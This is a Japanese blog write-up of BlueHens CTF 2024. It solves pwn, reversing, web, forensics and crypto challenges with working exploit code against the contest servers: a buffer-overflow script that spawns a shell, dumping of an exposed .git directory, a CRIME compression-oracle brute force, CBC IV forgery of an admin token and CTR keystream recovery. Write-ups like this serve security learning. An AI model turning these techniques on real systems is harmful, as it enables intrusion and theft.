以下の内容はhttps://yocchin.hatenablog.com/entry/2024/11/12/084437より取得しました。


BlueHens CTF 2024 Writeup

この大会は2024/11/9 2:00(JST)~2024/11/10 14:00(JST)に開催されました。
今回もチームで参戦。結果は2470点で498チーム中61位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome Letter (MISC)

問題にフラグが書いてあった。

UDCTF{guessy_is_sometimes_deduction_sometimes_awful}

Training Problem: Intro to PWN (PWN)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  setvbuf(stdin,(char *)0x0,2,1);
  setvbuf(stdout,(char *)0x0,2,1);
  setvbuf(stderr,(char *)0x0,2,1);
  vuln();
  return 0;
}

void vuln(void)

{
  char local_38 [48];
  
  puts("Welcome to PWN 101\n");
  gets(local_38);
  return;
}

void win(void)

{
  system("/bin/sh");
  return;
}

BOFでwin関数をコールすればよい。

$ ROPgadget --binary pwnme | grep ": ret"
0x000000000040101a : ret
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('0.cloud.chals.io', 13545)
else:
    p = process('./pwnme')

elf = ELF('./pwnme')

ret_addr = 0x40101a
win_addr = elf.symbols['win']

payload = b'A' * 56
payload += p64(ret_addr)
payload += p64(win_addr)

data = p.recvline().decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to 0.cloud.chals.io on port 13545: Done
[*] '/mnt/hgfs/Shared/pwnme'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
Welcome to PWN 101
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\x96\x11@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode

$ ls
flag.txt
pwnme
$ cat flag.txt
udctf{h00r4y_I_am_a_pwn3r_n0w}
udctf{h00r4y_I_am_a_pwn3r_n0w}

Training Problem: Intro to Reverse (REVERSING)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  undefined8 uVar1;
  long in_FS_OFFSET;
  int local_4c;
  undefined8 local_48;
  undefined8 local_40;
  undefined4 local_38;
  char local_28 [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_48 = 0x2c6c766271616375;
  local_40 = 0x212352275c642a6e;
  local_38 = 0x6c21;
  fgets(local_28,0x13,stdin);
  local_4c = 0;
  do {
    if (0x11 < local_4c) {
      puts("You got it!");
      uVar1 = 0;
LAB_00101246:
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return uVar1;
    }
    if (local_28[local_4c] - local_4c != (int)*(char *)((long)&local_48 + (long)local_4c)) {
      puts("wrong");
      uVar1 = 1;
      goto LAB_00101246;
    }
    local_4c = local_4c + 1;
  } while( true );
}

local_48以降、インデックスをプラスしたものがフラグになる。

#!/usr/bin/env python3
ct = (0x2c6c766271616375).to_bytes(8, 'little')
ct += (0x212352275c642a6e).to_bytes(8, 'little')
ct += (0x6c21).to_bytes(2, 'little')

flag = ''
for i in range(len(ct)):
    flag += chr(ct[i] + i)
print(flag)
udctf{r3v3ng3_101}

🅱️rainrot.c (REVERSING)

関数名等が他の文字列や絵文字になっているので、推測しながらコードを変換する。

・toilet  → char
・deadass → printf
・based   → fgets
・be      → =
・rot     → int
・spiral  → for
・skibidi → if
・aint    → !=
・og      → &
・gyatt   → strcmp
・bussin  → strncpy
・n       → &&
・fr      → ==
・boost   → +
・doneski → return 0

この結果、以下のように変換できた。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "brainint.h"

int fail(char check) {
    printf("Flag's a &#127345;️ust, rule %d aint vibin.\n", check);
    return 0;
}

int main {
    char ohio[100];
    printf("Enter the flag: ");
    fgets(ohio, 100, stdin);
    
    char rizz = strlen(ohio);
    if(rizz > 0 && ohio[rizz - 1] == '\n') {
        ohio[rizz - 1] = '\0';
        rizz -= 1;
    }

    if(rizz != 51) uwu fail(0);
    
    char boomer[6] = "     ";
    strncpy(boomer, & ohio, 5);
    if(strcmp(boomer, "udctf") != 0) uwu fail(1);

    if(ohio[rizz-1] != 0x7d) uwu fail(2);

    if((ohio[5]*4)%102 != 'T') uwu fail(3);

    if((ohio[35] & ohio[33]) != 0x69) uwu fail(4);

    if(ohio[6] ^ ohio[31]) uwu fail(5);

    if((ohio[31] + ohio[35]) != (ohio[6] * 2)) uwu fail(6);

    if((ohio[7] == ohio[10]) + (ohio[14] == ohio[23]) + (ohio[28] == ohio[36]) != 3) uwu fail(7);

    if(!((ohio[42] == ohio[28]) && (ohio[36] == ohio[23]) && (ohio[10] == ohio[42]))) uwu fail(8);

    if(ohio[10] != 0x5f) uwu fail(9);

    char fanum[7] = {0x47, 0x4a, 0x13, 0x42, 0x58, 0x57, 0x1b};
    char simp[8] = "       ";
    char vibe[8] = "       ";
    char drip[9] = "        ";
    strncpy(simp, & ohio[29], 7);
    strncpy(vibe, & ohio[43], 7);
    strncpy(drip, & ohio[15], 8);
    for(int i = 0; i < 7; i++) {
        simp[i] = fanum[i] ^ simp[i];
    }
    for(int i = 0; i < 7; i++) {
        vibe[i] = fanum[i] ^ vibe[i];
    }
    for(int i = 0; i < 8; i++) {
        drip[i] = vibe[i%7] ^ drip[i];
    }
    
    if(strcmp(simp, "r!zz13r") != 0) uwu fail(10);

    if(strcmp(vibe, "5ki8idi") != 0) uwu fail(11);

    char woke[9] = {0x40,0x05,0x5c,0x48,0x59,0x0f,0x5a,0x5b,0x00};
    if(strcmp(drip, woke) != 0) uwu fail(12);

    if((ohio[24] & ohio[19]) != '0') uwu fail(13);

    if((ohio[24] | ohio[27]) != '0') uwu fail(14);

    if(ohio[26] != ohio[44]) uwu fail(15);

    char clout[7] = "      ";
    strncpy(clout, & ohio[8], 6);
    for(int i = 0; i < 6; i++) {
        clout[i] = clout[i] + 1;
    }
    char zest[7] = {0x62,0x6e,0x60,0x75,0x69,0x34,0x00};
    if(strcmp(clout, zest) != 0) uwu fail(16);

    char snack[6] = "     ";
    char L[6] = {0x05,0x17,0x01,0x01,0x1d,0x00};
    strncpy(snack, & ohio[37], 5);
    for(int i = 0; i < 5; i++) {
        snack[i] = snack[i] ^ zest[i];
    }
    if(strcmp(snack, L) != 0) uwu fail(17);

    printf("All rules vibe! &#128541;&#128073;&#128072; Flag is correct! ✅\n");
    return 0;
}

完全に変換したわけではないが、だいぶ読みやすくなったので、フラグの条件を考えていく。

・フラグ文字列の長さは51
・最初の5文字は"udctf"
・最後の文字のASCIIコードは0x7d、つまり"}"
・(ohio[5]*4)%102 == 'T'(=84)

>>> (84 + 102 * 2) // 4
72
>>> (84 + 102 * 4) // 4
123

・ohio[10] == 0x5f(="_")
・ohio[7] == ohio[10](="_")
・ohio[10] == ohio[42](="_")
・ohio[42] == ohio[28](="_")
・ohio[28] == ohio[36](="_")
・ohio[36] == ohio[23](="_")
・ohio[14] == ohio[23](="_")

・strncpy(simp, & ohio[29], 7);
 strcmp(simp, "r!zz13r") == 0

>>> s = [0x47, 0x4a, 0x13, 0x42, 0x58, 0x57, 0x1b]
>>> t = b"r!zz13r"
>>> ''.join([chr(x ^ y) for x, y in zip(s, t)])
'5ki8idi'

・strncpy(vibe, & ohio[43], 7);
 strcmp(vibe, "5ki8idi") == 0

>>> t = b"5ki8idi"
>>> ''.join([chr(x ^ y) for x, y in zip(s, t)])
'r!zz13r'

・strncpy(drip, & ohio[15], 8);

>>> s = b"5ki8idi" + b"5"
>>> t = [0x40,0x05,0x5c,0x48,0x59,0x0f,0x5a,0x5b]
>>> ''.join([chr(x ^ y) for x, y in zip(s, t)])
'un5p0k3n'

・(ohio[24] & ohio[19]) == '0'
 →ohio[24] = '0'

・(ohio[24] | ohio[27]) == '0'
 →ohio[27] = '0'

・ohio[26] == ohio[44]

・strncpy(clout, & ohio[8], 6);
 clout[i] = clout[i] + 1;

>>> s = [0x62,0x6e,0x60,0x75,0x69,0x34]
>>> ''.join([chr(c - 1) for c in s])
'am_th3'

・strncpy(snack, & ohio[37], 5);

>>> s = [0x62,0x6e,0x60,0x75,0x69]
>>> t = [0x05,0x17,0x01,0x01,0x1d]
>>> ''.join([chr(x ^ y) for x, y in zip(s, t)])
'gyatt' 

この時点で、フラグの形式は以下のようになる。

          11111111112222222222333333333344444444445
012345678901234567890123456789012345678901234567890
udctf{ _am_th3_un5p0k3n_0 !0_5ki8idi_gyatt_r!zz13r}
・ohio[6] ^ ohio[31] == 0
 →ohio[6] = ohio[31]

この時点で、フラグの形式は以下のようになる。

         11111111112222222222333333333344444444445
012345678901234567890123456789012345678901234567890
udctf{i_am_th3_un5p0k3n_0 !0_5ki8idi_gyatt_r!zz13r}

インデックス25は不明だが、"h"であると推測できる。

udctf{i_am_th3_un5p0k3n_0h!0_5ki8idi_gyatt_r!zz13r}

Training Problem: Intro to Web (WEB)

$ git-dumper https://bluehens-webstuff.chals.io/ git
[-] Testing https://bluehens-webstuff.chals.io/.git/HEAD [200]
[-] Testing https://bluehens-webstuff.chals.io/.git/ [403]
[-] Fetching common files
[-] Fetching https://bluehens-webstuff.chals.io/.git/COMMIT_EDITMSG [200]
[-] Fetching https://bluehens-webstuff.chals.io/.gitignore [404]
[-] https://bluehens-webstuff.chals.io/.gitignore responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/applypatch-msg.sample [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/pre-rebase.sample [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/pre-push.sample [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/pre-receive.sample [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/update.sample [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/info/exclude [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/objects/info/packs [404]
[-] https://bluehens-webstuff.chals.io/.git/objects/info/packs responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/commit-msg.sample [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/description [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/post-update.sample [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/index [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/post-commit.sample [404]
[-] https://bluehens-webstuff.chals.io/.git/hooks/post-commit.sample responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/post-receive.sample [404]
[-] https://bluehens-webstuff.chals.io/.git/hooks/post-receive.sample responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/pre-commit.sample [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/pre-applypatch.sample [200]
[-] Finding refs/
[-] Fetching https://bluehens-webstuff.chals.io/.git/logs/refs/heads/master [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/ORIG_HEAD [404]
[-] https://bluehens-webstuff.chals.io/.git/ORIG_HEAD responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/FETCH_HEAD [404]
[-] https://bluehens-webstuff.chals.io/.git/FETCH_HEAD responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/logs/refs/stash [404]
[-] https://bluehens-webstuff.chals.io/.git/logs/refs/stash responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/logs/HEAD [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/packed-refs [404]
[-] https://bluehens-webstuff.chals.io/.git/packed-refs responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/config [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/logs/refs/remotes/origin/HEAD [404]
[-] https://bluehens-webstuff.chals.io/.git/logs/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/HEAD [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/refs/remotes/origin/HEAD [404]
[-] https://bluehens-webstuff.chals.io/.git/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/refs/heads/master [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/logs/refs/remotes/origin/master [404]
[-] https://bluehens-webstuff.chals.io/.git/logs/refs/remotes/origin/master responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/refs/stash [404]
[-] https://bluehens-webstuff.chals.io/.git/refs/stash responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/refs/wip/wtree/refs/heads/master [404]
[-] https://bluehens-webstuff.chals.io/.git/refs/wip/wtree/refs/heads/master responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/info/refs [404]
[-] https://bluehens-webstuff.chals.io/.git/info/refs responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/refs/remotes/origin/master [404]
[-] https://bluehens-webstuff.chals.io/.git/refs/remotes/origin/master responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/refs/wip/index/refs/heads/master [404]
[-] https://bluehens-webstuff.chals.io/.git/refs/wip/index/refs/heads/master responded with status code 404
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching https://bluehens-webstuff.chals.io/.git/objects/6d/11ca62644930fee1e2e48345c8d35bde2a95e7 [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] https://bluehens-webstuff.chals.io/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/objects/76/683fa76b43e25686b99194f7f6bef5d5c3b86a [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/objects/7f/8c5ec67ec20a1ce111b64ec96cfefb472b1bb5 [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/objects/20/9e61d0938774684973200fdbb4493beb4756ea [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/objects/8e/1d29694a756907b525bca25ad70a5e649a0c54 [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/objects/73/1a8a39c4e7ccc81776a4023c832f97907b93e5 [200]
[-] Running git checkout .
$ cd git/.git
$ cat refs/heads/master 
6d11ca62644930fee1e2e48345c8d35bde2a95e7
$ python2 -c 'import zlib; print zlib.decompress(open("objects/6d/11ca62644930fee1e2e48345c8d35bde2a95e7").read())'
commit 228tree 8e1d29694a756907b525bca25ad70a5e649a0c54
parent 7f8c5ec67ec20a1ce111b64ec96cfefb472b1bb5
author Andy Novocin <andy@fndrsng.com> 1729625823 +0000
committer Andy Novocin <andy@fndrsng.com> 1729625823 +0000

no more passwords

$ python2 -c 'import zlib; print zlib.decompress(open("objects/7f/8c5ec67ec20a1ce111b64ec96cfefb472b1bb5").read())'
commit 184tree 209e61d0938774684973200fdbb4493beb4756ea
author Andy Novocin <andy@fndrsng.com> 1729625753 +0000
committer Andy Novocin <andy@fndrsng.com> 1729625753 +0000

password based login?

$ python2 -c 'import zlib; print zlib.decompress(open("objects/20/9e61d0938774684973200fdbb4493beb4756ea").read())' | xxd -g 1
00000000: 74 72 65 65 20 33 38 00 31 30 30 36 34 34 20 69  tree 38.100644 i
00000010: 6e 64 65 78 2e 68 74 6d 6c 00 73 1a 8a 39 c4 e7  ndex.html.s..9..
00000020: cc c8 17 76 a4 02 3c 83 2f 97 90 7b 93 e5 0a     ...v..<./..{...

$ python2 -c 'import zlib; print zlib.decompress(open("objects/73/1a8a39c4e7ccc81776a4023c832f97907b93e5").read())'
blob 1564
<!doctype html>
<html>
  <head>
    <title>Deeply Insecure Login</title>
    <style>
      .hide {
        display: none;
      }
    </style>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/blueimp-md5/2.10.0/js/md5.js" type="text/javascript" charset="utf-8"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.0/jquery.min.js" type="text/javascript"></script>
  </head>
  <body>
    <h1 id="page">You are NOT logged in.</h1>
    <form id="login">
      <input type="password" id="password" placeholder="Tell me the password to get in."/>
      <button type="submit">Login</button>
    </form>
    <script>
      var form = document.getElementById("login");
      var attemptcount = 0;
      form.addEventListener("submit", function(event){
        event.preventDefault();

        attemptcount += 1;

        let password = document.getElementById("password").value;
        if (md5(password) == "1c63129ae9db9c60c3e8aa94d3e00495"){
          //You logged in!
          document.getElementById("page").innerHTML = "You ARE logged in... fetching flag";
          form.classList.add('hide');
          $.ajax({
              method:"get",url:"flagme.php",data:{"password":password},success: function(data){
                 $("#page").html(data);
              }
          })
        } else {
          document.getElementById("page").innerHTML = `Still NOT logged in.  ${attemptcount} Attempts.`;
          document.getElementById("password").value = "";
        }
        return false;
      });
    </script>
  </body>
</html>

CrackStationで"1c63129ae9db9c60c3e8aa94d3e00495"をクラックすると、以下のパスワードであることがわかる。

1qaz2wsx

flagme.phpにpasswordを付けてアクセスすればフラグが取得できそう。

$ curl https://bluehens-webstuff.chals.io/flagme.php?password=1qaz2wsx
Congrats your flag is: udctf{00ph_g1t_b4s3d_l34ks?}
udctf{00ph_g1t_b4s3d_l34ks?}

Just a day at the breach (WEB)

zlibの同じ文字列の繰り返しがある場合に圧縮率が高くなる特徴を使ったCRIMEの問題。"udctf{"からブルートフォースでサイズが最も小さくなるものを探していく。

#!/usr/bin/env python3
import requests
import json

base_url = 'https://55nlig2es7hyrhvzcxzboyp4xe0nzjrc.lambda-url.us-east-1.on.aws/?payload='

flag = 'udctf{'
while True:
    for code in range(33, 127):
        print('[+] Try flag:', flag + chr(code))
        url = base_url + (flag + chr(code)).encode().hex()
        r = requests.get(url)
        res = json.loads(r.text)
        size = res['sniffed']
        if size == 67:
            flag += chr(code)
            break
    if flag[-1] == '}':
        break

print('[*] flag:', flag)

実行結果は以下の通り。

        :
[+] Try flag: udctf{huffm4n_br34ched_l3t5_goy
[+] Try flag: udctf{huffm4n_br34ched_l3t5_goz
[+] Try flag: udctf{huffm4n_br34ched_l3t5_go{
[+] Try flag: udctf{huffm4n_br34ched_l3t5_go|
[+] Try flag: udctf{huffm4n_br34ched_l3t5_go}
[*] flag: udctf{huffm4n_br34ched_l3t5_go}
udctf{huffm4n_br34ched_l3t5_go}

Whispers of the Feathered Messenger (FORENSICS)

$ exiftool bird.jpeg                                         
ExifTool Version Number         : 12.76
File Name                       : bird.jpeg
Directory                       : .
File Size                       : 323 kB
File Modification Date/Time     : 2024:11:09 14:46:31+09:00
File Access Date/Time           : 2024:11:09 14:49:33+09:00
File Inode Change Date/Time     : 2024:11:09 14:46:31+09:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 72
Y Resolution                    : 72
Comment                         : UGFzc3dvcmQ6IDVCNEA3cTchckVc
Image Width                     : 1080
Image Height                    : 1350
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1080x1350
Megapixels                      : 1.5

Commentにbase64文字列らしきものが設定されているので、デコードする。
>|sh|
$ echo UGFzc3dvcmQ6IDVCNEA3cTchckVc | base64 -d
Password: 5B4@7q7!rE\
|

このパスワードを使って、steghideで秘密情報を抽出する。

$ steghide extract -sf bird.jpeg -p "5B4@7q7\!rE\\"
wrote extracted data to "encrypted_flag.bin".
$ file encrypted_flag.bin
encrypted_flag.bin: openssl enc'd data with salted password

再び先ほどのパスワードで復号する。

$ openssl enc -d -aes256 -pass pass:"5B4@7q7\!rE\\" -in encrypted_flag.bin
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
UDCTF{m0AybE_YoR3$!_a_f0recnicsEs_3xpEr^t}
UDCTF{m0AybE_YoR3$!_a_f0recnicsEs_3xpEr^t}

Inner Demon (FORENSICS)

$ stegseek inner_demons.jpg /usr/share/wordlists/rockyou.txt 
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "junji"            
[i] Original filename: "flag.txt".
[i] Extracting to "inner_demons.jpg.out".

$ cat inner_demons.jpg.out
udctf{h0w_d0_y0u_s133p_@t_n1ght?}
udctf{h0w_d0_y0u_s133p_@t_n1ght?}

Training Problem: Intro to RSA (CRYPTO)

nをfactordbで素因数分解する。

n = 186574907923363749257839451561965615541 * 275108975057510790219027682719040831427

あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

e = 65537
c = 9015202564552492364962954854291908723653545972440223723318311631007329746475
n = 51328431690246050000196200646927542588629192646276628974445855970986472407007

p = 186574907923363749257839451561965615541
q = 275108975057510790219027682719040831427
assert p * q == n

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
udctf{just_4_s1mpl3_RS4}

Nonogram Pt. 1: Simple Enough (CRYPTO)

Nonogram Puzzleを解く。

すると、以下の文字列が現れた。

UDDDU UDUUU DUDUD UUDUU UDUDU UUUUU DUUDU UUDUU UUUDD

Bacon's cipherと推測して、"U"を"A"、"D"を"B"として復号する。

PIXELATED
UDCTF{PIXELATED}

XS1: XOR without XOR (XOR SCHOOL)

(flag*32)[::17][:32]の出力結果が以下のようになっている。

'u_cnfrj_sr_b_34}yd1tt{0upt04lbmb'

17バイトごとに出力しているので、flagが32バイトと想定してインデックスで17プラスしながら、配置していけばフラグになる。

#!/usr/bin/env python3
ct = 'u_cnfrj_sr_b_34}yd1tt{0upt04lbmb'
l = len(ct)

flag = [''] * l
for i in range(len(ct)):
    flag[i * 17 % l] = ct[i]
flag = ''.join(flag)
print(flag)
udctf{just_4_b4by_1ntr0_pr0bl3m}

XS2: Looper (XOR SCHOOL)

フラグが"udctf{"から始まることを前提にkeyを求める。keyは"deadbe"になったので、"deadbeef"であると推測して復号する。

#!/usr/bin/env python3
ct = '11010210041e125508065109073a11563b1d51163d16060e54550d19'
ct = bytes.fromhex(ct)

flag_head = b'udctf{'

key = ''
for i in range(len(flag_head)):
    key += chr(flag_head[i] ^ ct[i])
print('[+] key:', key)

# guess
key += 'ef'
print('[+] key:', key)

flag = ''
for i in range(len(ct)):
    flag += chr(ct[i] ^ ord(key[i % len(key)]))
print('[*] flag:', flag)

実行結果は以下の通り。

[+] key: deadbe
[+] key: deadbeef
[*] flag: udctf{w3lc0me_t0_x0r_sch00l}
udctf{w3lc0me_t0_x0r_sch00l}

XS3: Roman Xor (XOR SCHOOL)

暗号化処理の概要は以下の通り。

・lngstr: poems.txtの内容
・lines: lngstrの改行区切りの配列
・lines: linesで長さが30より長い行のみの配列
・winners: linesから10個選択したものの配列
・pts: winnersの各xの小文字にしたものがアルファベットかスぺースでフィルタリングした文字列の配列に
 フラグ文字列の要素を結合したもの
・key: ランダム100バイト文字列
・cts: ptsの各要素xでkeyとXORしたもののXORの配列
・ctsを出力

フラグは"udctf{"から始まることからわかる範囲で復号し、推測しながら鍵を求め復号していく。

#!/usr/bin/env python3
from Crypto.Util.strxor import strxor

with open('dist.txt', 'r') as f:
    cts = eval(f.read())

flag_head = b'udctf{'
key = strxor(bytes.fromhex(cts[-1])[:len(flag_head)], flag_head)

## guess ##
key += strxor(bytes.fromhex(cts[3])[len(key):len(key) + 2], b'd ')
key += strxor(bytes.fromhex(cts[6])[len(key):len(key) + 2], b't ')
key += strxor(bytes.fromhex(cts[1])[len(key):len(key) + 2], b'y ')
key += strxor(bytes.fromhex(cts[7])[len(key):len(key) + 1], b' ')
key += strxor(bytes.fromhex(cts[2])[len(key):len(key) + 1], b'e')
key += strxor(bytes.fromhex(cts[3])[len(key):len(key) + 8], b'erstood ')
key += strxor(bytes.fromhex(cts[6])[len(key):len(key) + 2], b'h ')
key += strxor(bytes.fromhex(cts[2])[len(key):len(key) + 1], b' ')
key += strxor(bytes.fromhex(cts[1])[len(key):len(key) + 6], b'tions ')
key += strxor(bytes.fromhex(cts[8])[len(key):len(key) + 1], b' ')
key += strxor(bytes.fromhex(cts[3])[len(key):len(key) + 4], b'ous ')
key += strxor(bytes.fromhex(cts[8])[len(key):len(key) + 2], b'l ')
key += strxor(bytes.fromhex(cts[7])[len(key):len(key) + 2], b'se')
key += strxor(bytes.fromhex(cts[9])[len(key):len(key) + 2], b'ds')
key += strxor(bytes.fromhex(cts[8])[len(key):len(key) + 4], b'fall')

## result ##
for ct in cts:
    ct = bytes.fromhex(ct)
    if len(key) > len(ct):
        l = len(ct)
    else:
        l = len(key)
    pt = strxor(ct[:l], key[:l]).decode()
    print(pt)

最終的な実行結果は以下の通り。

where if he be with dauntless hardihood
i willingly on some conditions came
rise lord save me my god for thou
i would be understood in prosperous days
and the carpathian wisards hook
a sheephook or have learnd ought els the least
alas what boots it with uncessant care
and adde the power of som adjuring verse
to yield his fruit and his leaf shall not fall
tis you that say it not i you do the deeds
udctf{x0r_in_r0m4n_15_ten0r_0p3ra_s1nger?}
udctf{x0r_in_r0m4n_15_ten0r_0p3ra_s1nger?}

XS6: CTR Mode is just XOR (XOR SCHOOL)

暗号化処理の概要は以下の通り。

・pt: GETパラメータptの値のhexデコード
・padded: ptのパディング
・probiv: 環境変数probivの値
・flag: 環境変数flagの値
・padflag: flagのパディング
・flagcipher: 環境変数secretkeyを鍵、probivをナンスとしたAES CTRモードの暗号化オブジェクト
・pct: padflagをAES CTR暗号化
・yourcipher: 環境変数secretkeyを鍵としたAES ECBモードの暗号化オブジェクト
・encrypted: paddedをAES ECB暗号化
・encrypted, probiv, pctを16進数表記で出力

flagの平文と暗号文のXORは1ブロック目はnonce + '00'のAES ECBモード暗号化と同じ。2ブロック目はnonce + '01'のAES ECBモード暗号化と同じ。3ブロック目以降も同様。
このことを使って、flagを復号する。次のデータはわかっている。

probiv は 475045713653717a7936644c6d654d。
flagenc は 2cbcef061c2c4401d5bcc6c5569dab80c31daf822c0d424b2aadb5775e7c55047dd600fad942d7a32ce019da5c2edb91911cc166748fd5c4888bd030ae598968。

ptに以下を指定して暗号を調べる。

475045713653717a7936644c6d654d00475045713653717a7936644c6d654d01475045713653717a7936644c6d654d02475045713653717a7936644c6d654d03

この場合、ciphertextは以下のようになった。

79f8ac525a573069e6cef59a67a8f4eef342dcf21c3d2c14539dc0016d2334680fe5349ea01db3904fd17de9387195d4a161cf687a81dbca8685de3ea0578766780b443497b0686c7d48def8bf737543

この最終ブロックを除いた部分とflagencのXORを取れば、復号できる。

#!/usr/bin/env python3
from Crypto.Util.strxor import strxor
from Crypto.Util.Padding import unpad

flagenc = '2cbcef061c2c4401d5bcc6c5569dab80c31daf822c0d424b2aadb5775e7c55047dd600fad942d7a32ce019da5c2edb91911cc166748fd5c4888bd030ae598968'
flagenc = bytes.fromhex(flagenc)

key = '79f8ac525a573069e6cef59a67a8f4eef342dcf21c3d2c14539dc0016d2334680fe5349ea01db3904fd17de9387195d4a161cf687a81dbca8685de3ea0578766780b443497b0686c7d48def8bf737543'[:128]
key = bytes.fromhex(key)

flag = unpad(strxor(flagenc, key), 16).decode()
print(flag)
UDCTF{th3r3_15_n0_sp00n_y0uv3_alr34dy_d3c1d3d_NE0}

XS8: CBC Encrypted? (XOR SCHOOL)

暗号化処理の概要は以下の通り。

・GETパラメータのtokenがある場合
 ・ct: GETパラメータのtokenの値
 ・iv: GETパラメータのivの値
 ・cipher: 環境変数secretkeyの値を鍵、ivをivとしたAES CBCモード暗号化のオブジェクト
 ・pt: ctの復号
 ・flag: 環境変数flagの値
 ・token: ptをJSONとしてパース
 ・token['role']が"admin"の場合、flagのJSONデータを送信
・GETパラメータのtokenがない場合
 ・iv: ランダム16バイト文字列
 ・cipher: 環境変数secretkeyの値を鍵、ivをivとしたAES CBCモード暗号化のオブジェクト
 ・pt = b'{"role":"guest","username":"johndoe","id":"123"}'
 ・ct: ptの暗号化
 ・ct, ivの16進数表示

ブロック形式をイメージすると以下のようになる。

0123456789abcdef
{"role":"guest",
"username":"john
doe","id":"123"}

同じ暗号の場合iv と 1ブロック目平文のXORは同じため、ivを調整してroleをadminにすることができる。
GETパラメータなしで以下のデータを取得できた。

{"token": "69f548ed58ad71e7d3b7e31316224c23376e184f0090d5e4fe3bb9c28528003b3acc0a4a5d517e818fee64b1ef269d7d", "iv": "afd1448149014321cba43ddd34a603bd"}
#!/usr/bin/env python3
from Crypto.Util.strxor import strxor

pt0 = b'{"role":"guest",'
pt1 = b'{"role":"admin",'
iv0 = bytes.fromhex('afd1448149014321cba43ddd34a603bd')

iv1 = strxor(strxor(pt0, iv0), pt1)
iv1 = iv1.hex()
print(iv1)

XORの計算により、roleをadminにする場合のivは以下の通り。tokenは同じものを指定すればよい。

afd1448149014321cba22cd52ebc03bd
$ curl "https://vbbfgwcc6dnuzlawkslmxvlni40zkayu.lambda-url.us-east-1.on.aws/?token=69f548ed58ad71e7d3b7e31316224c23376e184f0090d5e4fe3bb9c28528003b3acc0a4a5d517e818fee64b1ef269d7d&iv=afd1448149014321cba22cd52ebc03bd"
{"flag": "udctf{1v_m4n1pul4t10n_FTW_just_anoth3r_x0R_4pplic4tion}"}
udctf{1v_m4n1pul4t10n_FTW_just_anoth3r_x0R_4pplic4tion}



以上の内容はhttps://yocchin.hatenablog.com/entry/2024/11/12/084437より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14